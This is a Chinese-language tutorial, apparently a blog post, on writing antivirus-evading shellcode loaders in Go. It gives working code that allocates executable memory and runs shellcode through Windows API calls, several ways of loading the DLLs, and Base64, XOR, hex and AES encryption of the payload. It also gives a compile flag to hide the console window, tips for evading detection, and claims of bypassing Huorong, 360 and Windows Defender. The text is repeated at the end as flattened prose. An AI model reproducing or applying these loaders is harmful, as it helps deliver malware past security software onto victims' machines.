golang免杀初尝试
字数 1180 2025-08-29 08:32:30

Golang免杀技术详解

前言

本文详细讲解如何使用Golang实现Shellcode的免杀技术,涵盖多种DLL调用方式、Shellcode加密方法以及绕过杀毒软件的技巧。通过组合不同的技术手段,可以有效绕过AV检测。

基础知识

Windows API调用流程

执行Shellcode的常规流程:

  1. 申请虚拟内存
  2. 把Shellcode写入虚拟内存
  3. 调用写入Shellcode的虚拟内存

Golang调用Windows API的方式

Golang中调用Windows API需要导入DLL并获取函数地址。以下是几种主要的调用方式:

1. 获取DLL句柄的方法

syscall包:提供低级操作系统原语接口

  • LoadLibrary:基础DLL加载函数
  • LoadDLL:加载命名的DLL文件(可能存在DLL预加载攻击风险)
  • MustLoadDLL:类似LoadDLL,但加载失败会panic
  • NewLazyDLL:延迟加载DLL,直到第一次调用

2. 从DLL获取函数的方法

  • GetProcAddress:获取函数地址
  • FindProc:在DLL中搜索指定过程
  • MustFindProc:类似FindProc,但搜索失败会panic
  • NewProc:为LazyDLL创建过程访问

3. 函数调用的方法

  • SyscallN:直接系统调用
  • Call:通过Proc结构调用函数

Shellcode加载实现

基础实现代码

package main

import (
    "syscall"
    "unsafe"
)

const (
    MEM_COMMIT     = 0x1000
    MEM_RESERVE    = 0x2000
    PAGE_EXECUTE_READWRITE = 0x40
)

var (
    kernel32, _ = syscall.LoadLibrary("Kernel32.dll")
    createThread, _ = syscall.GetProcAddress(kernel32, "CreateThread")
    virtualAlloc, _ = syscall.GetProcAddress(kernel32, "VirtualAlloc")
    rtlMoveMemory, _ = syscall.GetProcAddress(kernel32, "RtlMoveMemory")
    waitForSingleObject, _ = syscall.GetProcAddress(kernel32, "WaitForSingleObject")
    syscallN = syscall.SyscallN
)

func main() {
    buf := []byte("\xfc\x48\x83...") // Shellcode
    
    lpMem, _, _ := syscallN(virtualAlloc, uintptr(0), uintptr(len(buf)), 
        MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    
    _, _, _ = syscallN(rtlMoveMemory, lpMem, uintptr(unsafe.Pointer(&buf[0])), 
        uintptr(len(buf)))
    
    // 方法1: 创建线程执行
    hThread, _, _ := syscallN(createThread, 0, 0, lpMem, 0, 0, 0)
    _, _, _ = syscallN(waitForSingleObject, hThread, uintptr(0xffff))
    
    // 方法2: 直接调用
    // syscallN(lpMem)
    
    _ = syscall.FreeLibrary(kernel32)
}

隐藏控制台窗口

编译时添加参数隐藏黑框:

go build -ldflags="-H windowsgui" xxx.go

Shellcode加密技术

1. Base64加密

// 加密
enc := base64.StdEncoding.EncodeToString(buf)
fmt.Println(enc)

// 解密
dec, _ := base64.StdEncoding.DecodeString(enc)
fmt.Println(dec)

2. 异或加密

// 加密/解密
for i := 0; i < len(buf); i++ {
    buf[i] ^= 50 // 异或密钥
}

3. Hex编码

// 加密
enc := hex.EncodeToString(buf)
fmt.Println(enc)

// 解密
dec, _ := hex.DecodeString(enc)
fmt.Println(string(dec))

4. AES加密(CBC模式)

func pkcs5Padding(ciphertext []byte, blockSize int) []byte {
    padding := blockSize - len(ciphertext)%blockSize
    padtext := bytes.Repeat([]byte{byte(padding)}, padding)
    return append(ciphertext, padtext...)
}

func pkcs5UnPadding(origData []byte) []byte {
    length := len(origData)
    unpadding := int(origData[length-1])
    return origData[:(length - unpadding)]
}

func AesDecryptCBC(encrypted []byte, key []byte) (decrypted []byte) {
    block, _ := aes.NewCipher(key)
    blockSize := block.BlockSize()
    blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
    decrypted = make([]byte, len(encrypted))
    blockMode.CryptBlocks(decrypted, encrypted)
    decrypted = pkcs5UnPadding(decrypted)
    return decrypted
}

func AesEncryptCBC(origData []byte, key []byte) (encrypted []byte) {
    block, _ := aes.NewCipher(key)
    blockSize := block.BlockSize()
    origData = pkcs5Padding(origData, blockSize)
    blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
    encrypted = make([]byte, len(origData))
    blockMode.CryptBlocks(encrypted, origData)
    return encrypted
}

不同DLL调用方式的实现

1. LoadDLL方式

var (
    kernel32, _ = syscall.LoadDLL("Kernel32.dll")
    createThread, _ = kernel32.FindProc("CreateThread")
    virtualAlloc, _ = kernel32.FindProc("VirtualAlloc")
    rtlMoveMemory, _ = kernel32.FindProc("RtlMoveMemory")
    waitForSingleObject, _ = kernel32.FindProc("WaitForSingleObject")
)

func main() {
    // 调用方式
    lpMem, _, _ := virtualAlloc.Call(uintptr(0), uintptr(len(buf)), 
        MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
    // ...
    _ = kernel32.Release()
}

2. MustLoadDLL方式

var (
    kernel32 = syscall.MustLoadDLL("Kernel32.dll")
    createThread = kernel32.MustFindProc("CreateThread")
    virtualAlloc = kernel32.MustFindProc("VirtualAlloc")
    rtlMoveMemory = kernel32.MustFindProc("RtlMoveMemory")
    waitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
)

3. NewLazyDLL方式

var (
    kernel32 = syscall.NewLazyDLL("Kernel32.dll")
    createThread = kernel32.NewProc("CreateThread")
    virtualAlloc = kernel32.NewProc("VirtualAlloc")
    rtlMoveMemory = kernel32.NewProc("RtlMoveMemory")
    waitForSingleObject = kernel32.NewProc("WaitForSingleObject")
)

加载器实现

Base64加载器

package main

import (
    "encoding/base64"
    "os"
    "syscall"
    "unsafe"
)

// ... 常量定义和变量声明 ...

func main() {
    b64 := os.Args[1] // 从命令行参数获取base64编码的shellcode
    buf, _ := base64.StdEncoding.DecodeString(b64)
    
    // ... 内存分配和shellcode执行代码 ...
}

Hex加载器

func main() {
    hexStr := os.Args[1]
    buf, _ := hex.DecodeString(hexStr)
    
    // ... 内存分配和shellcode执行代码 ...
}

AES加载器

func main() {
    encHex := os.Args[1]
    key := []byte("0123456789123456") // 密钥
    
    enc, _ := hex.DecodeString(encHex)
    buf := AesDecryptCBC(enc, key)
    
    // ... 内存分配和shellcode执行代码 ...
}

免杀技巧总结

  1. 多种DLL调用方式组合:交替使用不同DLL加载方法
  2. Shellcode加密:使用Base64、异或、Hex、AES等多种加密方式
  3. 参数外部传入:避免在代码中直接包含Shellcode
  4. 隐藏控制台窗口:编译时使用-H windowsgui参数
  5. 函数名混淆:使用中文变量名或其他混淆方式
  6. 加载器分离:将Shellcode与加载器分离,降低检测风险

测试结果

  • 火绒:基础实现即可绕过
  • 360安全卫士:需要配合加密技术(异或或AES)
  • Windows Defender:加密后可以绕过

注意事项

  1. 避免在代码中直接包含Shellcode,容易被沙箱检测
  2. 加载器需要配合载体存储Shellcode
  3. 不同杀毒软件可能需要不同的绕过技术组合
  4. 定期更新加密方式和调用方法,避免特征被捕获

通过以上技术的组合使用,可以有效实现Golang编写的Shellcode加载器的免杀效果。

Golang免杀技术详解 前言 本文详细讲解如何使用Golang实现Shellcode的免杀技术,涵盖多种DLL调用方式、Shellcode加密方法以及绕过杀毒软件的技巧。通过组合不同的技术手段,可以有效绕过AV检测。 基础知识 Windows API调用流程 执行Shellcode的常规流程: 申请虚拟内存 把Shellcode写入虚拟内存 调用写入Shellcode的虚拟内存 Golang调用Windows API的方式 Golang中调用Windows API需要导入DLL并获取函数地址。以下是几种主要的调用方式: 1. 获取DLL句柄的方法 syscall包 :提供低级操作系统原语接口 LoadLibrary :基础DLL加载函数 LoadDLL :加载命名的DLL文件(可能存在DLL预加载攻击风险) MustLoadDLL :类似LoadDLL,但加载失败会panic NewLazyDLL :延迟加载DLL,直到第一次调用 2. 从DLL获取函数的方法 GetProcAddress :获取函数地址 FindProc :在DLL中搜索指定过程 MustFindProc :类似FindProc,但搜索失败会panic NewProc :为LazyDLL创建过程访问 3. 函数调用的方法 SyscallN :直接系统调用 Call :通过Proc结构调用函数 Shellcode加载实现 基础实现代码 隐藏控制台窗口 编译时添加参数隐藏黑框: Shellcode加密技术 1. Base64加密 2. 异或加密 3. Hex编码 4. AES加密(CBC模式) 不同DLL调用方式的实现 1. LoadDLL方式 2. MustLoadDLL方式 3. NewLazyDLL方式 加载器实现 Base64加载器 Hex加载器 AES加载器 免杀技巧总结 多种DLL调用方式组合 :交替使用不同DLL加载方法 Shellcode加密 :使用Base64、异或、Hex、AES等多种加密方式 参数外部传入 :避免在代码中直接包含Shellcode 隐藏控制台窗口 :编译时使用 -H windowsgui 参数 函数名混淆 :使用中文变量名或其他混淆方式 加载器分离 :将Shellcode与加载器分离,降低检测风险 测试结果 火绒 :基础实现即可绕过 360安全卫士 :需要配合加密技术(异或或AES) Windows Defender :加密后可以绕过 注意事项 避免在代码中直接包含Shellcode,容易被沙箱检测 加载器需要配合载体存储Shellcode 不同杀毒软件可能需要不同的绕过技术组合 定期更新加密方式和调用方法,避免特征被捕获 通过以上技术的组合使用,可以有效实现Golang编写的Shellcode加载器的免杀效果。